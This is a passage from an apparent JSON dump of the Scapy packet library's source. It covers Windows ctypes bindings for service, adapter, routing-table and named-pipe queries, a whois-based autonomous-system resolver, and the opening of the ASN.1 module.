_winapi_SetConsoleTitle(title or \"Scapy v{}\".format(conf.version))\n\n\nSC_HANDLE = HANDLE\n\nclass SERVICE_STATUS(Structure):\n    \"\"\"https://docs.microsoft.com/en-us/windows/desktop/api/winsvc/ns-winsvc-_service_status\"\"\"  # noqa: E501\n    _fields_ = [(\"dwServiceType\", DWORD),\n                (\"dwCurrentState\", DWORD),\n                (\"dwControlsAccepted\", DWORD),\n                (\"dwWin32ExitCode\", DWORD),\n                (\"dwServiceSpecificExitCode\", DWORD),\n                (\"dwCheckPoint\", DWORD),\n                (\"dwWaitHint\", DWORD)]\n\n\nOpenServiceW = ctypes.windll.Advapi32.OpenServiceW\nOpenServiceW.restype = SC_HANDLE\nOpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD]\n\nCloseServiceHandle = ctypes.windll.Advapi32.CloseServiceHandle\nCloseServiceHandle.restype = BOOL\nCloseServiceHandle.argtypes = [SC_HANDLE]\n\nOpenSCManagerW = ctypes.windll.Advapi32.OpenSCManagerW\nOpenSCManagerW.restype = SC_HANDLE\nOpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD]\n\nQueryServiceStatus = ctypes.windll.Advapi32.QueryServiceStatus\nQueryServiceStatus.restype = BOOL\nQueryServiceStatus.argtypes = [SC_HANDLE, POINTER(SERVICE_STATUS)]\n\ndef get_service_status(service):\n    # type: (str) -> Dict[str, int]\n    \"\"\"Returns content of QueryServiceStatus for a service\"\"\"\n    SERVICE_QUERY_STATUS = 0x0004\n    schSCManager = OpenSCManagerW(\n        None,  # Local machine\n        None,  # SERVICES_ACTIVE_DATABASE\n        SERVICE_QUERY_STATUS\n    )\n    service = OpenServiceW(\n        schSCManager,\n        service,\n        SERVICE_QUERY_STATUS\n    )\n    status = SERVICE_STATUS()\n    QueryServiceStatus(\n        service,\n        status\n    )\n    result = _struct_to_dict(status)\n    CloseServiceHandle(service)\n    CloseServiceHandle(schSCManager)\n    return result\n\n\n##############################\n###### Define IPHLPAPI  ######\n##############################\n\n\niphlpapi = ctypes.windll.iphlpapi\n\n##############################\n########### Common ###########\n##############################\n\n\nclass in_addr(Structure):\n    _fields_ = [(\"byte\", UBYTE * 4)]\n\n\nclass in6_addr(Structure):\n    _fields_ = [(\"byte\", UBYTE * 16)]\n\n\nclass sockaddr_in(Structure):\n    _fields_ = [(\"sin_family\", SHORT),\n                (\"sin_port\", USHORT),\n                (\"sin_addr\", in_addr),\n                (\"sin_zero\", 8 * CHAR)]\n\n\nclass sockaddr_in6(Structure):\n    _fields_ = [(\"sin6_family\", SHORT),\n                (\"sin6_port\", USHORT),\n                (\"sin6_flowinfo\", ULONG),\n                (\"sin6_addr\", in6_addr),\n                (\"sin6_scope_id\", ULONG)]\n\n\nclass SOCKADDR_INET(ctypes.Union):\n    _fields_ = [(\"Ipv4\", sockaddr_in),\n                (\"Ipv6\", sockaddr_in6),\n                (\"si_family\", USHORT)]\n\n\n##############################\n##### Adapters Addresses #####\n##############################\n\n\n# Our GetAdaptersAddresses implementation is inspired by\n# @sphaero 's gist: https://gist.github.com/sphaero/f9da6ebb9a7a6f679157\n# published under a MPL 2.0 License (GPLv2 compatible)\n\n# from iptypes.h\nMAX_ADAPTER_ADDRESS_LENGTH = 8\nMAX_DHCPV6_DUID_LENGTH = 130\n\nGAA_FLAG_INCLUDE_PREFIX = 0x0010\nGAA_FLAG_INCLUDE_ALL_INTERFACES = 0x0100\n# for now, just use void * for pointers to unused structures\nPIP_ADAPTER_WINS_SERVER_ADDRESS_LH = VOID\nPIP_ADAPTER_GATEWAY_ADDRESS_LH = VOID\nPIP_ADAPTER_DNS_SUFFIX = VOID\n\nIF_OPER_STATUS = UINT\nIF_LUID = UINT64\n\nNET_IF_COMPARTMENT_ID = UINT32\nGUID = BYTE * 16\nNET_IF_NETWORK_GUID = GUID\nNET_IF_CONNECTION_TYPE = UINT  # enum\nTUNNEL_TYPE = UINT  # enum\n\n\nclass SOCKET_ADDRESS(ctypes.Structure):\n    _fields_ = [('address', POINTER(SOCKADDR_INET)),\n                ('length', INT)]\n\n\nclass _IP_ADAPTER_ADDRESSES_METRIC(Structure):\n    _fields_ = [('length', ULONG),\n                ('interface_index', DWORD)]\n\n\nclass IP_ADAPTER_UNICAST_ADDRESS(Structure):\n    pass\n\n\nPIP_ADAPTER_UNICAST_ADDRESS = POINTER(IP_ADAPTER_UNICAST_ADDRESS)\nif WINDOWS_XP:\n    IP_ADAPTER_UNICAST_ADDRESS._fields_ = [\n        (\"length\", ULONG),\n        (\"flags\", DWORD),\n        (\"next\", PIP_ADAPTER_UNICAST_ADDRESS),\n        (\"address\", SOCKET_ADDRESS),\n        (\"prefix_origin\", INT),\n        (\"suffix_origin\", INT),\n        (\"dad_state\", INT),\n        (\"valid_lifetime\", ULONG),\n        (\"preferred_lifetime\", ULONG),\n        (\"lease_lifetime\", ULONG),\n    ]\nelse:\n    IP_ADAPTER_UNICAST_ADDRESS._fields_ = [\n        (\"length\", ULONG),\n        (\"flags\", DWORD),\n        (\"next\", PIP_ADAPTER_UNICAST_ADDRESS),\n        (\"address\", SOCKET_ADDRESS),\n        (\"prefix_origin\", INT),\n        (\"suffix_origin\", INT),\n        (\"dad_state\", INT),\n        (\"valid_lifetime\", ULONG),\n        (\"preferred_lifetime\", ULONG),\n        (\"lease_lifetime\", ULONG),\n        (\"on_link_prefix_length\", UBYTE)\n    ]\n\n\nclass IP_ADAPTER_ANYCAST_ADDRESS(Structure):\n    pass\n\n\nPIP_ADAPTER_ANYCAST_ADDRESS = POINTER(IP_ADAPTER_ANYCAST_ADDRESS)\nIP_ADAPTER_ANYCAST_ADDRESS._fields_ = [\n    (\"length\", ULONG),\n    (\"flags\", DWORD),\n    (\"next\", PIP_ADAPTER_ANYCAST_ADDRESS),\n    (\"address\", SOCKET_ADDRESS),\n]\n\n\nclass IP_ADAPTER_MULTICAST_ADDRESS(Structure):\n    pass\n\n\nPIP_ADAPTER_MULTICAST_ADDRESS = POINTER(IP_ADAPTER_MULTICAST_ADDRESS)\nIP_ADAPTER_MULTICAST_ADDRESS._fields_ = [\n    (\"length\", ULONG),\n    (\"flags\", DWORD),\n    (\"next\", PIP_ADAPTER_MULTICAST_ADDRESS),\n    (\"address\", SOCKET_ADDRESS),\n]\n\n\nclass IP_ADAPTER_DNS_SERVER_ADDRESS(Structure):\n    pass\n\n\nPIP_ADAPTER_DNS_SERVER_ADDRESS = POINTER(IP_ADAPTER_DNS_SERVER_ADDRESS)\nIP_ADAPTER_DNS_SERVER_ADDRESS._fields_ = [\n    (\"length\", ULONG),\n    (\"flags\", DWORD),\n    (\"next\", PIP_ADAPTER_DNS_SERVER_ADDRESS),\n    (\"address\", SOCKET_ADDRESS),\n]\n\n\nclass IP_ADAPTER_PREFIX(Structure):\n    pass\n\n\nPIP_ADAPTER_PREFIX = ctypes.POINTER(IP_ADAPTER_PREFIX)\nIP_ADAPTER_PREFIX._fields_ = [\n    (\"alignment\", ULONGLONG),\n    (\"next\", PIP_ADAPTER_PREFIX),\n    (\"address\", SOCKET_ADDRESS),\n    (\"prefix_length\", ULONG)\n]\n\n\nclass IP_ADAPTER_ADDRESSES(Structure):\n    pass\n\n\nLP_IP_ADAPTER_ADDRESSES = POINTER(IP_ADAPTER_ADDRESSES)\n\nif WINDOWS_XP:\n    IP_ADAPTER_ADDRESSES._fields_ = [\n        ('length', ULONG),\n        ('interface_index', DWORD),\n        ('next', LP_IP_ADAPTER_ADDRESSES),\n        ('adapter_name', ctypes.c_char_p),\n        ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS),\n        ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS),\n        ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS),\n        ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS),\n        ('dns_suffix', ctypes.c_wchar_p),\n        ('description', ctypes.c_wchar_p),\n        ('friendly_name', ctypes.c_wchar_p),\n        ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH),\n        ('physical_address_length', ULONG),\n        ('flags', ULONG),\n        ('mtu', ULONG),\n        ('interface_type', DWORD),\n        ('oper_status', IF_OPER_STATUS),\n        ('ipv6_interface_index', DWORD),\n        ('zone_indices', ULONG * 16),\n        ('first_prefix', PIP_ADAPTER_PREFIX),\n    ]\nelse:\n    IP_ADAPTER_ADDRESSES._fields_ = [\n        ('length', ULONG),\n        ('interface_index', DWORD),\n        ('next', LP_IP_ADAPTER_ADDRESSES),\n        ('adapter_name', ctypes.c_char_p),\n        ('first_unicast_address', PIP_ADAPTER_UNICAST_ADDRESS),\n        ('first_anycast_address', PIP_ADAPTER_ANYCAST_ADDRESS),\n        ('first_multicast_address', PIP_ADAPTER_MULTICAST_ADDRESS),\n        ('first_dns_server_address', PIP_ADAPTER_DNS_SERVER_ADDRESS),\n        ('dns_suffix', ctypes.c_wchar_p),\n        ('description', ctypes.c_wchar_p),\n        ('friendly_name', ctypes.c_wchar_p),\n        ('physical_address', BYTE * MAX_ADAPTER_ADDRESS_LENGTH),\n        ('physical_address_length', ULONG),\n        ('flags', ULONG),\n        ('mtu', ULONG),\n        ('interface_type', DWORD),\n        ('oper_status', IF_OPER_STATUS),\n        ('ipv6_interface_index', DWORD),\n        ('zone_indices', ULONG * 16),\n        ('first_prefix', PIP_ADAPTER_PREFIX),\n        ('transmit_link_speed', ULONGLONG),\n        ('receive_link_speed', ULONGLONG),\n        ('first_wins_server_address', PIP_ADAPTER_WINS_SERVER_ADDRESS_LH),\n        ('first_gateway_address', PIP_ADAPTER_GATEWAY_ADDRESS_LH),\n        ('ipv4_metric', ULONG),\n        ('ipv6_metric', ULONG),\n        ('luid', IF_LUID),\n        ('dhcpv4_server', SOCKET_ADDRESS),\n        ('compartment_id', NET_IF_COMPARTMENT_ID),\n        ('network_guid', NET_IF_NETWORK_GUID),\n        ('connection_type', NET_IF_CONNECTION_TYPE),\n        ('tunnel_type', TUNNEL_TYPE),\n        ('dhcpv6_server', SOCKET_ADDRESS),\n        ('dhcpv6_client_duid', BYTE * MAX_DHCPV6_DUID_LENGTH),\n        ('dhcpv6_client_duid_length', ULONG),\n        ('dhcpv6_iaid', ULONG),\n        ('first_dns_suffix', PIP_ADAPTER_DNS_SUFFIX)]\n\n# Func\n\n_GetAdaptersAddresses = WINFUNCTYPE(ULONG, ULONG, ULONG,\n                                    POINTER(VOID),\n                                    LP_IP_ADAPTER_ADDRESSES,\n                                    POINTER(ULONG))(\n                                        ('GetAdaptersAddresses', iphlpapi))\n\n\ndef GetAdaptersAddresses(AF=AddressFamily.AF_UNSPEC):\n    # type: (int) -> List[Dict[str, Any]]\n    \"\"\"Return all Windows Adapters addresses from iphlpapi\"\"\"\n    # We get the size first\n    size = ULONG()\n    flags = ULONG(GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_INCLUDE_ALL_INTERFACES)\n    res = _GetAdaptersAddresses(AF, flags,\n                                None, None,\n                                byref(size))\n    if res != 0x6f:  # BUFFER OVERFLOW -> populate size\n        raise RuntimeError(\"Error getting structure length (%d)\" % res)\n    # Now let's build our buffer\n    pointer_type = POINTER(IP_ADAPTER_ADDRESSES)\n    buffer = create_string_buffer(size.value)\n    AdapterAddresses = ctypes.cast(buffer, pointer_type)\n    # And call GetAdaptersAddresses\n    res = _GetAdaptersAddresses(AF, flags,\n                                None, AdapterAddresses,\n                                byref(size))\n    if res != NO_ERROR:\n        raise RuntimeError(\"Error retrieving table (%d)\" % res)\n    results = _resolve_list(AdapterAddresses)\n    del AdapterAddresses\n    return results\n\n##############################\n####### Routing tables #######\n##############################\n\n### V1 ###\n\n\nclass MIB_IPFORWARDROW(Structure):\n    _fields_ = [('ForwardDest', DWORD),\n                ('ForwardMask', DWORD),\n                ('ForwardPolicy', DWORD),\n                ('ForwardNextHop', DWORD),\n                ('ForwardIfIndex', DWORD),\n                ('ForwardType', DWORD),\n                ('ForwardProto', DWORD),\n                ('ForwardAge', DWORD),\n                ('ForwardNextHopAS', DWORD),\n                ('ForwardMetric1', DWORD),\n                ('ForwardMetric2', DWORD),\n                ('ForwardMetric3', DWORD),\n                ('ForwardMetric4', DWORD),\n                ('ForwardMetric5', DWORD)]\n\n\nclass MIB_IPFORWARDTABLE(Structure):\n    _fields_ = [('NumEntries', DWORD),\n                ('Table', MIB_IPFORWARDROW * ANY_SIZE)]\n\n\nPMIB_IPFORWARDTABLE = POINTER(MIB_IPFORWARDTABLE)\n\n# Func\n\n_GetIpForwardTable = WINFUNCTYPE(DWORD,\n                                 PMIB_IPFORWARDTABLE, POINTER(ULONG), BOOL)(\n                                     ('GetIpForwardTable', iphlpapi))\n\n\ndef GetIpForwardTable():\n    # type: () -> List[Dict[str, Any]]\n    \"\"\"Return all Windows routes (IPv4 only) from iphlpapi\"\"\"\n    # We get the size first\n    size = ULONG()\n    res = _GetIpForwardTable(None, byref(size), False)\n    if res != 0x7a:  # ERROR_INSUFFICIENT_BUFFER -> populate size\n        raise RuntimeError(\"Error getting structure length (%d)\" % res)\n    # Now let's build our buffer\n    pointer_type = PMIB_IPFORWARDTABLE\n    buffer = create_string_buffer(size.value)\n    pIpForwardTable = ctypes.cast(buffer, pointer_type)\n    # And call GetAdaptersAddresses\n    res = _GetIpForwardTable(pIpForwardTable, byref(size), True)\n    if res != NO_ERROR:\n        raise RuntimeError(\"Error retrieving table (%d)\" % res)\n    results = []\n    for i in range(pIpForwardTable.contents.NumEntries):\n        results.append(_struct_to_dict(pIpForwardTable.contents.Table[i]))\n    del pIpForwardTable\n    return results\n\n### V2 ###\n\n\nNET_IFINDEX = ULONG\nNL_ROUTE_PROTOCOL = INT\nNL_ROUTE_ORIGIN = INT\n\n\nclass NET_LUID(Structure):\n    _fields_ = [(\"Value\", ULONGLONG)]\n\n\nclass IP_ADDRESS_PREFIX(Structure):\n    _fields_ = [(\"Prefix\", SOCKADDR_INET),\n                (\"PrefixLength\", UINT8)]\n\n\nclass MIB_IPFORWARD_ROW2(Structure):\n    _fields_ = [(\"InterfaceLuid\", NET_LUID),\n                (\"InterfaceIndex\", NET_IFINDEX),\n                (\"DestinationPrefix\", IP_ADDRESS_PREFIX),\n                (\"NextHop\", SOCKADDR_INET),\n                (\"SitePrefixLength\", UCHAR),\n                (\"ValidLifetime\", ULONG),\n                (\"PreferredLifetime\", ULONG),\n                (\"Metric\", ULONG),\n                (\"Protocol\", NL_ROUTE_PROTOCOL),\n                (\"Loopback\", BOOLEAN),\n                (\"AutoconfigureAddress\", BOOLEAN),\n                (\"Publish\", BOOLEAN),\n                (\"Immortal\", BOOLEAN),\n                (\"Age\", ULONG),\n                (\"Origin\", NL_ROUTE_ORIGIN)]\n\n\nclass MIB_IPFORWARD_TABLE2(Structure):\n    _fields_ = [(\"NumEntries\", ULONG),\n                (\"Table\", MIB_IPFORWARD_ROW2 * ANY_SIZE)]\n\n\nPMIB_IPFORWARD_TABLE2 = POINTER(MIB_IPFORWARD_TABLE2)\n\n# Func\n\nif not WINDOWS_XP:\n    # GetIpForwardTable2 does not exist under Windows XP\n    _GetIpForwardTable2 = WINFUNCTYPE(\n        ULONG, USHORT,\n        POINTER(PMIB_IPFORWARD_TABLE2))(\n            ('GetIpForwardTable2', iphlpapi)\n    )\n    _FreeMibTable = WINFUNCTYPE(None, PMIB_IPFORWARD_TABLE2)(\n        ('FreeMibTable', iphlpapi)\n    )\n\n\ndef GetIpForwardTable2(AF=AddressFamily.AF_UNSPEC):\n    # type: (AddressFamily) -> List[Dict[str, Any]]\n    \"\"\"Return all Windows routes (IPv4/IPv6) from iphlpapi\"\"\"\n    if WINDOWS_XP:\n        raise OSError(\"Not available on Windows XP !\")\n    table = PMIB_IPFORWARD_TABLE2()\n    res = _GetIpForwardTable2(AF, byref(table))\n    if res != NO_ERROR:\n        raise RuntimeError(\"Error retrieving table (%d)\" % res)\n    results = []\n    for i in range(table.contents.NumEntries):\n        results.append(_struct_to_dict(table.contents.Table[i]))\n    _FreeMibTable(table)\n    return results\n\n\n##############\n#### FIFO ####\n##############\n\nclass _SECURITY_ATTRIBUTES(Structure):\n    _fields_ = [(\"nLength\", DWORD),\n                (\"lpSecurityDescriptor\", LPVOID),\n                (\"bInheritHandle\", BOOL)]\n\n\nLPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES)\n\n\ndef _get_win_fifo() -> Tuple[str, Any]:\n    \"\"\"Create a windows fifo and returns the (client file, server fd)\n    \"\"\"\n    from scapy.volatile import RandString\n    f = r\"\\\\.\\pipe\\scapy%s\" % str(RandString(6))\n    buffer = create_string_buffer(ctypes.sizeof(_SECURITY_ATTRIBUTES))\n    sec = ctypes.cast(buffer, LPSECURITY_ATTRIBUTES)\n    sec.contents.nLength = ctypes.sizeof(_SECURITY_ATTRIBUTES)\n    res = ctypes.windll.kernel32.CreateNamedPipeA(\n        create_string_buffer(f.encode()),\n        0x00000003 | 0x40000000,\n        0,\n        1, 65536, 65536,\n        300,\n        sec,\n    )\n    if res == -1:\n        raise OSError(ctypes.FormatError())\n    return f, res\n\n\ndef _win_fifo_open(fd: Any) -> IO[bytes]:\n    \"\"\"Connect NamedPipe and return a fake open() file\n    \"\"\"\n    ctypes.windll.kernel32.ConnectNamedPipe(fd, None)\n\n    class _opened(IO[bytes]):\n        def read(self, x: int = MTU) -> bytes:\n            buf = ctypes.create_string_buffer(x)\n            res = ctypes.windll.kernel32.ReadFile(\n                fd,\n                buf,\n                x,\n                None,\n                None,\n            )\n            if res == 0:\n                raise OSError(ctypes.FormatError())\n            return buf.raw\n        def close(self) -> None:\n            # ignore failures\n            ctypes.windll.kernel32.CloseHandle(fd)\n    return _opened()  # type: ignore\n"
  },
  {
    "path": "scapy/as_resolvers.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nResolve Autonomous Systems (AS).\n\"\"\"\n\n\nimport socket\nfrom scapy.config import conf\nfrom scapy.compat import plain_str\n\nfrom typing import (\n    Any,\n    Optional,\n    Tuple,\n    List,\n)\n\n\nclass AS_resolver:\n    server = None\n    options = \"-k\"  # type: Optional[str]\n\n    def __init__(self, server=None, port=43, options=None):\n        # type: (Optional[str], int, Optional[str]) -> None\n        if server is not None:\n            self.server = server\n        self.port = port\n        if options is not None:\n            self.options = options\n\n    def _start(self):\n        # type: () -> None\n        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.s.connect((self.server, self.port))\n        if self.options:\n            self.s.send(self.options.encode(\"utf8\") + b\"\\n\")\n            self.s.recv(8192)\n\n    def _stop(self):\n        # type: () -> None\n        self.s.close()\n\n    def _parse_whois(self, txt):\n        # type: (bytes) -> Tuple[Optional[str], str]\n        asn, desc = None, b\"\"\n        for line in txt.splitlines():\n            if not asn and line.startswith(b\"origin:\"):\n                asn = plain_str(line[7:].strip())\n            if line.startswith(b\"descr:\"):\n                if desc:\n                    desc += b\"\\n\"\n                desc += line[6:].strip()\n            if asn is not None and desc:\n                break\n        return asn, plain_str(desc.strip())\n\n    def _resolve_one(self, ip):\n        # type: (str) -> Tuple[str, Optional[str], str]\n        self.s.send((\"%s\\n\" % ip).encode(\"utf8\"))\n        x = b\"\"\n        while not (b\"%\" in x or b\"source\" in x):\n            d = self.s.recv(8192)\n            if not d:\n                break\n            x += d\n        asn, desc = self._parse_whois(x)\n        return ip, asn, desc\n\n    def resolve(self,\n                *ips  # type: str\n                ):\n        # type: (...) -> List[Tuple[str, Optional[str], str]]\n        self._start()\n        ret = []  # type: List[Tuple[str, Optional[str], str]]\n        for ip in ips:\n            ip, asn, desc = self._resolve_one(ip)\n            if asn is not None:\n                ret.append((ip, asn, desc))\n        self._stop()\n        return ret\n\n\nclass AS_resolver_riswhois(AS_resolver):\n    server = \"riswhois.ripe.net\"\n    options = \"-k -M -1\"\n\n\nclass AS_resolver_radb(AS_resolver):\n    server = \"whois.ra.net\"\n    options = \"-k -M\"\n\n\nclass AS_resolver_cymru(AS_resolver):\n    server = \"whois.cymru.com\"\n    options = None\n\n    def resolve(self,\n                *ips  # type: str\n                ):\n        # type: (...) -> List[Tuple[str, Optional[str], str]]\n        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        s.connect((self.server, self.port))\n        s.send(\n            b\"begin\\r\\n\" +\n            b\"\\r\\n\".join(ip.encode() for ip in ips) +\n            b\"\\r\\nend\\r\\n\"\n        )\n        r = b\"\"\n        while True:\n            line = s.recv(8192)\n            if line == b\"\":\n                break\n            r += line\n        s.close()\n\n        return self.parse(r)\n\n    def parse(self, data):\n        # type: (bytes) -> List[Tuple[str, Optional[str], str]]\n        \"\"\"Parse bulk cymru data\"\"\"\n\n        ASNlist = []  # type: List[Tuple[str, Optional[str], str]]\n        for line in plain_str(data).splitlines()[1:]:\n            if \"|\" not in line:\n                continue\n            asn, ip, desc = [elt.strip() for elt in line.split('|')]\n            if asn == \"NA\":\n                continue\n            asn = \"AS%s\" % asn\n            ASNlist.append((ip, asn, desc))\n        return ASNlist\n\n\nclass AS_resolver_multi(AS_resolver):\n    def __init__(self, *reslist):\n        # type: (*AS_resolver) -> None\n        AS_resolver.__init__(self)\n        if reslist:\n            self.resolvers_list = reslist\n        else:\n            self.resolvers_list = (AS_resolver_radb(),\n                                   AS_resolver_cymru())\n\n    def resolve(self, *ips):\n        # type: (*Any) -> List[Tuple[str, Optional[str], str]]\n        todo = ips\n        ret = []\n        for ASres in self.resolvers_list:\n            try:\n                res = ASres.resolve(*todo)\n            except socket.error:\n                continue\n            todo = tuple(ip for ip in todo if ip not in [r[0] for r in res])\n            ret += res\n            if not todo:\n                break\n        return ret\n\n\nconf.AS_resolver = AS_resolver_multi()\n"
  },
  {
    "path": "scapy/asn1/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\n\"\"\"\nPackage holding ASN.1 related modules.\n\"\"\"\n"
  },
  {
    "path": "scapy/asn1/asn1.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Acknowledgment: Maxence Tury <maxence.tury@ssi.gouv.fr>\n\n\"\"\"\nASN.1 (Abstract Syntax Notation One)\n\"\"\"\n\nimport random\n\nfrom datetime import datetime, timedelta, tzinfo\nfrom scapy.config import conf\nfrom scapy.error import Scapy_Exception, warning\nfrom scapy.volatile import RandField, RandIP, GeneralizedTime\nfrom scapy.utils import Enum_metaclass, EnumElement, binrepr\nfrom scapy.compat import plain_str, bytes_encode, chb, orb\n\nfrom typing import (\n    Any,\n    AnyStr,\n    Dict,\n    Generic,\n    List,\n    Optional,\n    Tuple,\n    Type,\n    Union,\n    cast,\n    TYPE_CHECKING,\n)\nfrom typing import (\n    TypeVar,\n)\n\nif TYPE_CHECKING:\n    from scapy.asn1.ber import BERcodec_Object\n\ntry:\n    from datetime import timezone\nexcept ImportError:\n    # Python 2 compat - don't bother typing it\n    class UTC(tzinfo):\n        \"\"\"UTC\"\"\"\n\n        def utcoffset(self, dt):  # type: ignore\n            return timedelta(0)\n\n        def tzname(self, dt):  # type: ignore\n            return \"UTC\"\n\n        def dst(self, dt):  # type: ignore\n            return None\n\n    class timezone(tzinfo):  # type: ignore\n        def __init__(self, delta):  # type: ignore\n            self.delta = delta\n\n        def utcoffset(self, dt):  # type: ignore\n            return self.delta\n\n        def tzname(self, dt):  # type: ignore\n            return None\n\n        def dst(self, dt):  # type: ignore\n            return None\n\n    timezone.utc = UTC()  # type: ignore\n\n\nclass RandASN1Object(RandField[\"ASN1_Object[Any]\"]):\n    def __init__(self, objlist=None):\n        # type: (Optional[List[Type[ASN1_Object[Any]]]]) -> None\n        if objlist:\n            self.objlist = objlist\n        else:\n            self.objlist = [\n                x._asn1_obj\n                for x in ASN1_Class_UNIVERSAL.__rdict__.values()  # type: ignore\n                if hasattr(x, \"_asn1_obj\")\n            ]\n        self.chars = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\"  # noqa: E501\n\n    def _fix(self, n=0):\n        # type: (int) -> ASN1_Object[Any]\n        o = random.choice(self.objlist)\n        if issubclass(o, ASN1_INTEGER):\n            return o(int(random.gauss(0, 1000)))\n        elif issubclass(o, ASN1_IPADDRESS):\n            return o(RandIP()._fix())\n        elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME):\n            return o(GeneralizedTime()._fix())\n        elif issubclass(o, ASN1_STRING):\n            z1 = int(random.expovariate(0.05) + 1)\n            return o(\"\".join(random.choice(self.chars) for _ in range(z1)).encode())\n        elif issubclass(o, ASN1_SEQUENCE) and (n < 10):\n            z2 = int(random.expovariate(0.08) + 1)\n            return o([self.__class__(objlist=self.objlist)._fix(n + 1)\n                      for _ in range(z2)])\n        return ASN1_INTEGER(int(random.gauss(0, 1000)))\n\n\n##############\n#    ASN1    #\n##############\n\nclass ASN1_Error(Scapy_Exception):\n    pass\n\n\nclass ASN1_Encoding_Error(ASN1_Error):\n    pass\n\n\nclass ASN1_Decoding_Error(ASN1_Error):\n    pass\n\n\nclass ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error):\n    pass\n\n\nclass ASN1Codec(EnumElement):\n    def register_stem(cls, stem):\n        # type: (Type[BERcodec_Object[Any]]) -> None\n        cls._stem = stem\n\n    def dec(cls, s, context=None):\n        # type: (bytes, Optional[Type[ASN1_Class]]) -> ASN1_Object[Any]\n        return cls._stem.dec(s, context=context)  # type: ignore\n\n    def safedec(cls, s, context=None):\n        # type: (bytes, Optional[Type[ASN1_Class]]) -> ASN1_Object[Any]\n        return cls._stem.safedec(s, context=context)  # type: ignore\n\n    def get_stem(cls):\n        # type: () -> type\n        return cls._stem\n\n\nclass ASN1_Codecs_metaclass(Enum_metaclass):\n    element_class = ASN1Codec\n\n\nclass ASN1_Codecs(metaclass=ASN1_Codecs_metaclass):\n    BER = cast(ASN1Codec, 1)\n    DER = cast(ASN1Codec, 2)\n    PER = cast(ASN1Codec, 3)\n    CER = cast(ASN1Codec, 4)\n    LWER = cast(ASN1Codec, 5)\n    BACnet = cast(ASN1Codec, 6)\n    OER = cast(ASN1Codec, 7)\n    SER = cast(ASN1Codec, 8)\n    XER = cast(ASN1Codec, 9)\n\n\nclass ASN1Tag(EnumElement):\n    def __init__(self,\n                 key,  # type: str\n                 value,  # type: int\n                 context=None,  # type: Optional[Type[ASN1_Class]]\n                 codec=None  # type: Optional[Dict[ASN1Codec, Type[BERcodec_Object[Any]]]]  # noqa: E501\n                 ):\n        # type: (...) -> None\n        EnumElement.__init__(self, key, value)\n        # populated by the metaclass\n        self.context = context  # type: Type[ASN1_Class]  # type: ignore\n        if codec is None:\n            codec = {}\n        self._codec = codec\n\n    def clone(self):  # not a real deep copy. self.codec is shared\n        # type: () -> ASN1Tag\n        return self.__class__(self._key, self._value, self.context, self._codec)  # noqa: E501\n\n    def register_asn1_object(self, asn1obj):\n        # type: (Type[ASN1_Object[Any]]) -> None\n        self._asn1_obj = asn1obj\n\n    def asn1_object(self, val):\n        # type: (Any) -> ASN1_Object[Any]\n        if hasattr(self, \"_asn1_obj\"):\n            return self._asn1_obj(val)\n        raise ASN1_Error(\"%r does not have any assigned ASN1 object\" % self)\n\n    def register(self, codecnum, codec):\n        # type: (ASN1Codec, Type[BERcodec_Object[Any]]) -> None\n        self._codec[codecnum] = codec\n\n    def get_codec(self, codec):\n        # type: (Any) -> Type[BERcodec_Object[Any]]\n        try:\n            c = self._codec[codec]\n        except KeyError:\n            raise ASN1_Error(\"Codec %r not found for tag %r\" % (codec, self))\n        return c\n\n\nclass ASN1_Class_metaclass(Enum_metaclass):\n    element_class = ASN1Tag\n\n    # XXX factorise a bit with Enum_metaclass.__new__()\n    def __new__(cls,\n                name,  # type: str\n                bases,  # type: Tuple[type, ...]\n                dct  # type: Dict[str, Any]\n                ):\n        # type: (...) -> Type[ASN1_Class]\n        for b in bases:\n            for k, v in b.__dict__.items():\n                if k not in dct and isinstance(v, ASN1Tag):\n                    dct[k] = v.clone()\n\n        rdict = {}\n        for k, v in dct.items():\n            if isinstance(v, int):\n                v = ASN1Tag(k, v)\n                dct[k] = v\n                rdict[v] = v\n            elif isinstance(v, ASN1Tag):\n                rdict[v] = v\n        dct[\"__rdict__\"] = rdict\n\n        ncls = cast('Type[ASN1_Class]',\n                    type.__new__(cls, name, bases, dct))\n        for v in ncls.__dict__.values():\n            if isinstance(v, ASN1Tag):\n                # overwrite ASN1Tag contexts, even cloned ones\n                v.context = ncls\n        return ncls\n\n\nclass ASN1_Class(metaclass=ASN1_Class_metaclass):\n    pass\n\n\nclass ASN1_Class_UNIVERSAL(ASN1_Class):\n    name = \"UNIVERSAL\"\n    # Those casts are made so that MyPy understands what the\n    # metaclass does in the background.\n    ERROR = cast(ASN1Tag, -3)\n    RAW = cast(ASN1Tag, -2)\n    NONE = cast(ASN1Tag, -1)\n    ANY = cast(ASN1Tag, 0)\n    BOOLEAN = cast(ASN1Tag, 1)\n    INTEGER = cast(ASN1Tag, 2)\n    BIT_STRING = cast(ASN1Tag, 3)\n    STRING = cast(ASN1Tag, 4)\n    NULL = cast(ASN1Tag, 5)\n    OID = cast(ASN1Tag, 6)\n    OBJECT_DESCRIPTOR = cast(ASN1Tag, 7)\n    EXTERNAL = cast(ASN1Tag, 8)\n    REAL = cast(ASN1Tag, 9)\n    ENUMERATED = cast(ASN1Tag, 10)\n    EMBEDDED_PDF = cast(ASN1Tag, 11)\n    